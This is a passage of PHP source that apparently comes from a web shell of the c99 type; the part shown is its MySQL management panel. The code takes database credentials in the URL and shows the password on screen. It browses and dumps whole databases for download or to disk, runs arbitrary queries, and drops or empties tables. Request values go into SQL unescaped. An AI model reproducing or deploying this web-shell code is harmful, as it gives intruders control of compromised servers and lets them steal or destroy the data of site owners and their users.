                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"
            );
            $sqlquicklaunch[] = array(
                "Query",
                $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl)
            );
            $sqlquicklaunch[] = array(
                "Server-status",
                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=serverstatus"
            );
            $sqlquicklaunch[] = array(
                "Server variables",
                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=servervars"
            );
            $sqlquicklaunch[] = array(
                "Processes",
                $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_act=processes"
            );
            $sqlquicklaunch[] = array(
                "Logout",
                $surl . "act=sql"
            );
            echo "<center><b>MySQL " . mysql_get_server_info() . " (proto v." . mysql_get_proto_info() . ") running in " . htmlspecialchars($sql_server) . ":" . htmlspecialchars($sql_port) . " as " . htmlspecialchars($sql_login) . "@" . htmlspecialchars($sql_server) . " (password - \"" . htmlspecialchars($sql_passwd) . "\")</b><br>";
            if (count($sqlquicklaunch) > 0)
            {
                foreach ($sqlquicklaunch as $item)
                {
                    echo "[ <a href=\"" . $item[1] . "\"><b>" . $item[0] . "</b></a> ] ";
                }
            }
            echo "</center>";
        }
        echo "</td></tr><tr>";
        if (!$sql_sock)
        { ?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php
        }
        else
        {
            if (!empty($sql_db))
            { ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl . "act=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&"; ?>"><b>Home</b></a><hr size="1" noshade><?php $result = mysql_list_tables($sql_db);
                if (!$result)
                {
                    echo mysql_smarterror();
                }
                else
                {
                    echo "---[ <a href=\"" . $sql_surl . "&\"><b>" . htmlspecialchars($sql_db) . "</b></a> ]---<br>";
                    $c = 0;
                    while ($row = mysql_fetch_array($result))
                    {
                        $count = mysql_query("SELECT COUNT(*) FROM " . $row[0]);
                        $count_row = mysql_fetch_array($count);
                        echo "<b>»&nbsp;<a href=\"" . $sql_surl . "sql_db=" . htmlspecialchars($sql_db) . "&sql_tbl=" . htmlspecialchars($row[0]) . "\"><b>" . htmlspecialchars($row[0]) . "</b></a> (" . $count_row[0] . ")</br></b>";
                        mysql_free_result($count);
                        $c++;
                    }
                    if (!$c)
                    {
                        echo "No tables found in database.";
                    }
                }
            }
            else
            { ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php $result = mysql_list_dbs($sql_sock);
                if (!$result)
                {
                    echo mysql_smarterror();
                }
                else
                { ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php $c = 0;
                    $dbs = "";
                    while ($row = mysql_fetch_row($result))
                    {
                        $dbs .= "<option value=\"" . $row[0] . "\"";
                        if ($sql_db == $row[0])
                        {
                            $dbs .= " selected";
                        }
                        $dbs .= ">" . $row[0] . "</option>";
                        $c++;
                    }
                    echo "<option value=\"\">Databases (" . $c . ")</option>";
                    echo $dbs;
                } ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
            }
            echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
            $diplay = true;
            if ($sql_db)
            {
                if (!is_numeric($c))
                {
                    $c = 0;
                }
                if ($c == 0)
                {
                    $c = "no";
                }
                echo "<hr size=\"1\" noshade><center><b>There are " . $c . " table(s) in this DB (" . htmlspecialchars($sql_db) . ").<br>";
                if (count($dbquicklaunch) > 0)
                {
                    foreach ($dbsqlquicklaunch as $item)
                    {
                        echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
                    }
                }
                echo "</b></center>";
                $acts = array(
                    "",
                    "dump"
                );
                if ($sql_act == "tbldrop")
                {
                    $sql_query = "DROP TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "\n`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tblempty")
                {
                    $sql_query = "";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "DELETE FROM `" . $v . "` \n";
                    }
                    $sql_act = "query";
                }
                elseif ($sql_act == "tbldump")
                {
                    if (count($boxtbl) > 0)
                    {
                        $dmptbls = $boxtbl;
                    }
                    elseif ($thistbl)
                    {
                        $dmptbls = array(
                            $sql_tbl
                        );
                    }
                    $sql_act = "dump";
                }
                elseif ($sql_act == "tblcheck")
                {
                    $sql_query = "CHECK TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "\n`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tbloptimize")
                {
                    $sql_query = "OPTIMIZE TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "\n`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tblrepair")
                {
                    $sql_query = "REPAIR TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "\n`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "tblanalyze")
                {
                    $sql_query = "ANALYZE TABLE";
                    foreach ($boxtbl as $v)
                    {
                        $sql_query .= "\n`" . $v . "` ,";
                    }
                    $sql_query = substr($sql_query, 0, -1) . ";";
                    $sql_act = "query";
                }
                elseif ($sql_act == "deleterow")
                {
                    $sql_query = "";
                    if (!empty($boxrow_all))
                    {
                        $sql_query = "DELETE * FROM `" . $sql_tbl . "`;";
                    }
                    else
                    {
                        foreach ($boxrow as $v)
                        {
                            $sql_query .= "DELETE * FROM `" . $sql_tbl . "` WHERE" . $v . " LIMIT 1;\n";
                        }
                        $sql_query = substr($sql_query, 0, -1);
                    }
                    $sql_act = "query";
                }
                elseif ($sql_tbl_act == "insert")
                {
                    if ($sql_tbl_insert_radio == 1)
                    {
                        $keys = "";
                        $akeys = array_keys($sql_tbl_insert);
                        foreach ($akeys as $v)
                        {
                            $keys .= "`" . addslashes($v) . "`, ";
                        }
                        if (!empty($keys))
                        {
                            $keys = substr($keys, 0, strlen($keys) - 2);
                        }
                        $values = "";
                        $i = 0;
                        foreach (array_values($sql_tbl_insert) as $v)
                        {
                            if ($funct = $sql_tbl_insert_functs[$akeys[$i]])
                            {
                                $values .= $funct . " (";
                            }
                            $values .= "'" . addslashes($v) . "'";
                            if ($funct)
                            {
                                $values .= ")";
                            }
                            $values .= ", ";
                            $i++;
                        }
                        if (!empty($values))
                        {
                            $values = substr($values, 0, strlen($values) - 2);
                        }
                        $sql_query = "INSERT INTO `" . $sql_tbl . "` ( " . $keys . " ) VALUES ( " . $values . " );";
                        $sql_act = "query";
                        $sql_tbl_act = "browse";
                    }
                    elseif ($sql_tbl_insert_radio == 2)
                    {
                        $set = mysql_buildwhere($sql_tbl_insert, ", ", $sql_tbl_insert_functs);
                        $sql_query = "UPDATE `" . $sql_tbl . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;";
                        $result = mysql_query($sql_query) or print (mysql_smarterror());
                        $result = mysql_fetch_array($result, MYSQL_ASSOC);
                        $sql_act = "query";
                        $sql_tbl_act = "browse";
                    }
                }
                if ($sql_act == "query")
                {
                    echo "<hr size=\"1\" noshade>";
                    if (($submit) and (!$sql_query_result) and ($sql_confirm))
                    {
                        if (!$sql_query_error)
                        {
                            $sql_query_error = "Query was empty";
                        }
                        echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
                    }
                    if ($sql_query_result or (!$sql_confirm))
                    {
                        $sql_act = $sql_goto;
                    }
                    if ((!$submit) or ($sql_act))
                    {
                        echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"" . $sql_surl . "\" method=\"POST\"><b>";
                        if (($sql_query) and (!$submit))
                        {
                            echo "Do you really want to:";
                        }
                        else
                        {
                            echo "SQL-Query :";
                        }
                        echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";
                    }
                }
                if (in_array($sql_act, $acts))
                { ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php if (!empty($sql_act))
                    {
                        echo "<hr size=\"1\" noshade>";
                    }
                    if ($sql_act == "newtbl")
                    {
                        echo "<b>";
                        if ((mysql_create_db($sql_newdb)) and (!empty($sql_newdb)))
                        {
                            echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
                        }
                        else
                        {
                            echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
                        }
                    }
                    elseif ($sql_act == "dump")
                    {
                        if (empty($submit))
                        {
                            $diplay = false;
                            echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><b>SQL-Dump:</b><br><br>";
                            echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"" . urlencode($sql_db) . "\"><br><br>";
                            $v = join(";", $dmptbls);
                            echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"" . htmlspecialchars($v) . "\" size=\"" . (strlen($v) + 5) . "\"><br><br>";
                            if ($dump_file)
                            {
                                $tmp = $dump_file;
                            }
                            else
                            {
                                $tmp = htmlspecialchars("./dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql");
                            }
                            echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"" . $tmp . "\" size=\"" . (strlen($tmp) + strlen($tmp) % 30) . "\"><br><br>";
                            echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
                            echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
                            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
                            echo "</form>";
                        }
                        else
                        {
                            $diplay = true;
                            $set = array();
                            $set["sock"] = $sql_sock;
                            $set["db"] = $sql_db;
                            $dump_out = "download";
                            $set["print"] = 0;
                            $set["nl2br"] = 0;
                            $set[""] = 0;
                            $set["file"] = $dump_file;
                            $set["add_drop"] = true;
                            $set["onlytabs"] = array();
                            if (!empty($dmptbls))
                            {
                                $set["onlytabs"] = explode(";", $dmptbls);
                            }
                            $ret = mysql_dump($set);
                            if ($sql_dump_download)
                            {
                                @ob_clean();
                                header("Content-type: application/octet-stream");
                                header("Content-length: " . strlen($ret));
                                header("Content-disposition: attachment; filename=\"" . basename($sql_dump_file) . "\";");
                                echo $ret;
                                exit;
                            }
                            elseif ($sql_dump_savetofile)
                            {
                                $fp = fopen($sql_dump_file, "w");
                                if (!$fp)
                                {
                                    echo "<b>Dump error! Can't write to \"" . htmlspecialchars($sql_dump_file) . "\"!";
                                }
                                else
                                {
                                    fwrite($fp, $ret);
                                    fclose($fp);
                                    echo "<b>Dumped! Dump has been writed to \"" . htmlspecialchars(realpath($sql_dump_file)) . "\" (" . view_size(filesize($sql_dump_file)) . ")</b>.";
                                }
                            }
                            else
                            {
                                echo "<b>Dump: nothing to do!</b>";
                            }
                        }
                    }
                    if ($diplay)
                    {
                        if (!empty($sql_tbl))
                        {
                            if (empty($sql_tbl_act))
                            {
                                $sql_tbl_act = "browse";
                            }
                            $count = mysql_query("SELECT COUNT(*) FROM `" . $sql_tbl . "`;");
                            $count_row = mysql_fetch_array($count);
                            mysql_free_result($count);
                            $tbl_struct_result = mysql_query("SHOW FIELDS FROM `" . $sql_tbl . "`;");
                            $tbl_struct_fields = array();
                            while ($row = mysql_fetch_assoc($tbl_struct_result))
                            {
                                $tbl_struct_fields[] = $row;
                            }
                            if ($sql_ls > $sql_le)
                            {
                                $sql_le = $sql_ls + $perpage;
                            }
                            if (empty($sql_tbl_page))
                            {
                                $sql_tbl_page = 0;
                            }
                            if (empty($sql_tbl_ls))
                            {
                                $sql_tbl_ls = 0;
                            }
                            if (empty($sql_tbl_le))
                            {
                                $sql_tbl_le = 30;
                            }
                            $perpage = $sql_tbl_le - $sql_tbl_ls;
                            if (!is_numeric($perpage))
                            {
                                $perpage = 10;
                            }
                            $numpages = $count_row[0] / $perpage;
                            $e = explode(" ", $sql_order);
                            if (count($e) == 2)
                            {
                                if ($e[0] == "d")
                                {
                                    $asc_desc = "DESC";
                                }
                                else
                                {
                                    $asc_desc = "ASC";
                                }
                                $v = "ORDER BY `" . $e[1] . "` " . $asc_desc . " ";
                            }
                            else
                            {
                                $v = "";
                            }
                            $query = "SELECT * FROM `" . $sql_tbl . "` " . $v . "LIMIT " . $sql_tbl_ls . " , " . $perpage . "";
                            $result = mysql_query($query) or print (mysql_smarterror());
                            echo "<hr size=\"1\" noshade><center><b>Table " . htmlspecialchars($sql_tbl) . " (" . mysql_num_fields($result) . " cols and " . $count_row[0] . " rows)</b></center>";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
                            if ($sql_tbl_act == "structure")
                            {
                                echo "<br><br><b>Coming sooon!</b>";
                            }
                            if ($sql_tbl_act == "insert")
                            {
                                if (!is_array($sql_tbl_insert))
                                {
                                    $sql_tbl_insert = array();
                                }
                                if (!empty($sql_tbl_insert_radio))
                                {
                                }
                                else
                                {
                                    echo "<br><br><b>Inserting row into table:</b><br>";
                                    if (!empty($sql_tbl_insert_q))
                                    {
                                        $sql_query = "SELECT * FROM `" . $sql_tbl . "`";
                                        $sql_query .= " WHERE" . $sql_tbl_insert_q;
                                        $sql_query .= " LIMIT 1;";
                                        $result = mysql_query($sql_query, $sql_sock) or print ("<br><br>" . mysql_smarterror());
                                        $values = mysql_fetch_assoc($result);
                                        mysql_free_result($result);
                                    }
                                    else
                                    {
                                        $values = array();
                                    }
                                    echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
                                    foreach ($tbl_struct_fields as $field)
                                    {
                                        $name = $field["Field"];
                                        if (empty($sql_tbl_insert_q))
                                        {
                                            $v = "";
                                        }
                                        echo "<tr><td><b>" . htmlspecialchars($name) . "</b></td><td>" . $field["Type"] . "</td><td><select name=\"sql_tbl_insert_functs[" . htmlspecialchars($name) . "]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[" . htmlspecialchars($name) . "]\" value=\"" . htmlspecialchars($values[$name]) . "\" size=50></td></tr>";
                                        $i++;
                                    }
                                    echo "</table><br>";
                                    echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";
                                    if (empty($sql_tbl_insert_q))
                                    {
                                        echo " checked";
                                    }
                                    echo "><b>Insert as new row</b>";
                                    if (!empty($sql_tbl_insert_q))
                                    {
                                        echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>";
                                        echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"" . htmlspecialchars($sql_tbl_insert_q) . "\">";
                                    }
                                    echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
                                }
                            }
                            if ($sql_tbl_act == "browse")
                            {
                                $sql_tbl_ls = abs($sql_tbl_ls);
                                $sql_tbl_le = abs($sql_tbl_le);
                                echo "<hr size=\"1\" noshade>";
                                echo "<img src=\"" . $surl . "act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
                                $b = 0;
                                for ($i = 0;$i < $numpages;$i++)
                                {
                                    if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le))
                                    {
                                        echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_order=" . htmlspecialchars($sql_order) . "&sql_tbl_ls=" . ($i * $perpage) . "&sql_tbl_le=" . ($i * $perpage + $perpage) . "\"><u>";
                                    }
                                    echo $i;
                                    if (($i * $perpage != $sql_tbl_ls) or ($i * $perpage + $perpage != $sql_tbl_le))
                                    {
                                        echo "</u></a>";
                                    }
                                    if (($i / 30 == round($i / 30)) and ($i > 0))
                                    {
                                        echo "<br>";
                                    }
                                    else
                                    {
                                        echo "&nbsp;";
                                    }
                                }
                                if ($i == 0)
                                {
                                    echo "empty";
                                }
                                echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"sql_order\" value=\"" . htmlspecialchars($sql_order) . "\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"" . $sql_tbl_ls . "\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"" . $sql_tbl_le . "\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
                                echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
                                echo "<tr>";
                                echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
                                for ($i = 0;$i < mysql_num_fields($result);$i++)
                                {
                                    $v = mysql_field_name($result, $i);
                                    if ($e[0] == "a")
                                    {
                                        $s = "d";
                                        $m = "asc";
                                    }
                                    else
                                    {
                                        $s = "a";
                                        $m = "desc";
                                    }
                                    echo "<td>";
                                    if (empty($e[0]))
                                    {
                                        $e[0] = "a";
                                    }
                                    if ($e[1] != $v)
                                    {
                                        echo "<a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $e[0] . "%20" . $v . "\"><b>" . $v . "</b></a>";
                                    }
                                    else
                                    {
                                        echo "<b>" . $v . "</b><a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $s . "%20" . $v . "\"><img src=\"" . $surl . "act=img&img=sort_" . $m . "\" height=\"9\" width=\"14\" alt=\"" . $m . "\"></a>";
                                    }
                                    echo "</td>";
                                }
                                echo "<td><font color=\"green\"><b>Action</b></font></td>";
                                echo "</tr>";
                                while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
                                {
                                    echo "<tr>";
                                    $w = "";
                                    $i = 0;
                                    foreach ($row as $k => $v)
                                    {
                                        $name = mysql_field_name($result, $i);
                                        $w .= " `" . $name . "` = '" . addslashes($v) . "' AND";
                                        $i++;
                                    }
                                    if (count($row) > 0)
                                    {
                                        $w = substr($w, 0, strlen($w) - 3);
                                    }
                                    echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"" . $w . "\"></td>";
                                    $i = 0;
                                    foreach ($row as $k => $v)
                                    {
                                        $v = htmlspecialchars($v);
                                        if ($v == "")
                                        {
                                            $v = "<font color=\"green\">NULL</font>";
                                        }
                                        echo "<td>" . $v . "</td>";
                                        $i++;
                                    }
                                    echo "<td>";
                                    echo "<a href=\"" . $sql_surl . "sql_act=query&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_query=" . urlencode("DELETE FROM `" . $sql_tbl . "` WHERE" . $w . " LIMIT 1;") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
                                    echo "<a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_insert_q=" . urlencode($w) . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
                                    echo "</td>";
                                    echo "</tr>";
                                }
                                mysql_free_result($result);
                                echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
                                echo "<option value=\"\">With selected:</option>";
                                echo "<option value=\"deleterow\">Delete</option>";
                                echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
                            }
                        }
                        else
                        {
                            $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
                            if (!$result)
                            {
                                echo mysql_smarterror();
                            }
                            else
                            {
                                echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
                                $i = 0;
                                $tsize = $trows = 0;
                                while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
                                {
                                    $tsize += $row["Data_length"];
                                    $trows += $row["Rows"];
                                    $size = view_size($row["Data_length"]);
                                    echo "<tr>";
                                    echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"" . $row["Name"] . "\"></td>";
                                    echo "<td>&nbsp;<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($row["Name"]) . "\"><b>" . $row["Name"] . "</b></a>&nbsp;</td>";
                                    echo "<td>" . $row["Rows"] . "</td>";
                                    echo "<td>" . $row["Type"] . "</td>";
                                    echo "<td>" . $row["Create_time"] . "</td>";
                                    echo "<td>" . $row["Update_time"] . "</td>";
                                    echo "<td>" . $size . "</td>";
                                    echo "<td>&nbsp;<a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DELETE FROM `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"" . $sql_surl . "sql_act=query&sql_query=" . urlencode("DROP TABLE `" . $row["Name"] . "`") . "\"><img src=\"" . $surl . "act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"" . $sql_surl . "sql_tbl_act=insert&sql_tbl=" . $row["Name"] . "\"><img src=\"" . $surl . "act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
                                    echo "</tr>";
                                    $i++;
                                }
                                echo "<tr bgcolor=\"000000\">";
                                echo "<td><center><b>»</b></center></td>";
                                echo "<td><center><b>" . $i . " table(s)</b></center></td>";
                                echo "<td><b>" . $trows . "</b></td>";
                                echo "<td>" . $row[1] . "</td>";
                                echo "<td>" . $row[10] . "</td>";
                                echo "<td>" . $row[11] . "</td>";
                                echo "<td><b>" . view_size($tsize) . "</b></td>";
                                echo "<td></td>";
                                echo "</tr>";
                                echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
